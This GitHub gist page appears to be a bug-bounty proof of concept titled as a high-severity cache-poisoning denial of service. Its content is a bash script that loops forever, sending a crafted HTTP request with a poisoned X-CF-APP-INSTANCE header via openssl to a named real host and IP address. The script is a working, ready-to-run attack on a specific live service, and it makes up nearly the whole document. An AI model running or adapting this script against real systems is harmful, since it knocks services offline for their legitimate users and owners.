Skip to content

Instantly share code, notes, and snippets.

@andripwn
Last active September 26, 2020 17:14
Show Gist options
  • Save andripwn/38ec5c5db5d6f2fa8f203ae6fa34b4fc to your computer and use it in GitHub Desktop.
Save andripwn/38ec5c5db5d6f2fa8f203ae6fa34b4fc to your computer and use it in GitHub Desktop.
Cache poisoning DoS to various aa-assets (#High Vulnerability)
#!/bin/bash
while true
do
printf 'GET /?cb=xxx HTTP/1.1\r\n'\
'Host: blanco-dev.eu2.frbit.net\r\n'\
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\r\n'\
'Accept: */*\r\n'\
'Accept-Language: en-US,en;q=0.5\r\n'\
'Accept-Encoding: gzip, deflate\r\n'\
'X-CF-APP-INSTANCE: xxx:1\r\n'\
'Connection: close\r\n'\
'\r\n'\
| openssl s_client -ign_eof -connect 34.241.202.5:443
sleep 1
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment